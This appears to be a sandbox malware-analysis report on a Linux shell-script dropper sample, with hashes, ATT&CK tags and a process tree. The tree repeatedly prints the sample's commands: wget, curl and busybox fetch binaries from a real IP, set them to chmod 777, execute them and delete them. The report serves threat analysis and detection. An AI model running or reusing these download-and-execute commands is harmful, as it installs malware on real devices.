886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b

Analysis

max time kernel
69s
max time network
98s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
09/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
Size 10KB
Sample241109-dmrlwayner
SHA256 886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b
MD5 9429ed343b923d08cb76b46b89be9663
SHA1 f8c2b89c19e0acd0f02dfebb1c5df980cf4c4a9f
SHA512 4de13fb437fb8e67bec8d618df3218f9ac65902fee20005a14cce51a85a438f9dcc5613fb31e5010d3769ea703a61a46412c1e7830c48aa1b5ad44594592430d
SSDEEP 192:qfjO1f3bOSOQQQQQMvjppT6dX6dj6dXdydidoD770ZWZZQQQQQMvjpBP6dX6dj63:jfpjjMvjptyXyjytq6oDIW4jjMvjpNyj
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
751	chmod
931	chmod
949	chmod
808	chmod
967	chmod
745	chmod
883	chmod
901	chmod
865	chmod
919	chmod
943	chmod
779	chmod
955	chmod
739	chmod
871	chmod
877	chmod
913	chmod
925	chmod
814	chmod
820	chmod
907	chmod
979	chmod
843	chmod
889	chmod
895	chmod
937	chmod
961	chmod
973	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
963	rm
886	wget
887	curl
888	busybox
940	wget
944	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
962	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
742	wget
746	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
891	rm
941	curl
960	busybox
743	curl
747	rm
942	busybox
945	rm
958	wget
744	busybox
890	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
959	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	curl
File opened for modification	/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	curl
File opened for modification	/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	curl
File opened for modification	/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	curl
File opened for modification	/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	curl
File opened for modification	/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	curl
File opened for modification	/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	curl
File opened for modification	/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	curl
File opened for modification	/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	curl
File opened for modification	/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	curl
File opened for modification	/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	curl
File opened for modification	/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	curl
File opened for modification	/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	curl
File opened for modification	/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	curl
File opened for modification	/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	curl
File opened for modification	/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	curl
File opened for modification	/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	curl
File opened for modification	/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	curl
File opened for modification	/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	curl
File opened for modification	/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	curl
File opened for modification	/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	curl
File opened for modification	/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	curl
File opened for modification	/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	curl
File opened for modification	/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	curl
File opened for modification	/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	curl
File opened for modification	/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	curl
File opened for modification	/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	curl
File opened for modification	/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	curl

/tmp/886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
/tmp/886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:738
- /bin/chmod
  chmod 777 naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  ./naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod 777 WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  ./WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:746
- /bin/rm
  rm WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:750
- /bin/chmod
  chmod 777 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  ./3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:755
- /usr/bin/wget
  wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:773
- /bin/chmod
  chmod 777 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  ./52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:783
- /usr/bin/wget
  wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:803
- /bin/chmod
  chmod 777 R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  ./R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:810
- /usr/bin/wget
  wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:813
- /bin/chmod
  chmod 777 xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  ./xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:819
- /bin/chmod
  chmod 777 gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  ./gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:838
- /bin/chmod
  chmod 777 anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  ./anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:847
- /usr/bin/wget
  wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:864
- /bin/chmod
  chmod 777 XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  ./XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:870
- /bin/chmod
  chmod 777 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  ./7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:876
- /bin/chmod
  chmod 777 a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  ./a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:882
- /bin/chmod
  chmod 777 L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  ./L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/chmod
  chmod 777 iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  ./iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:890
- /bin/rm
  rm iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:894
- /bin/chmod
  chmod 777 m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  ./m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:900
- /bin/chmod
  chmod 777 xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  ./xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:906
- /bin/chmod
  chmod 777 gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  ./gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:912
- /bin/chmod
  chmod 777 anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  ./anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:918
- /bin/chmod
  chmod 777 XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  ./XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:924
- /bin/chmod
  chmod 777 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  ./7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:930
- /bin/chmod
  chmod 777 a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  ./a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:936
- /bin/chmod
  chmod 777 L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  ./L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:942
- /bin/chmod
  chmod 777 iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  ./iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:944
- /bin/rm
  rm iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:948
- /bin/chmod
  chmod 777 m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  ./m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
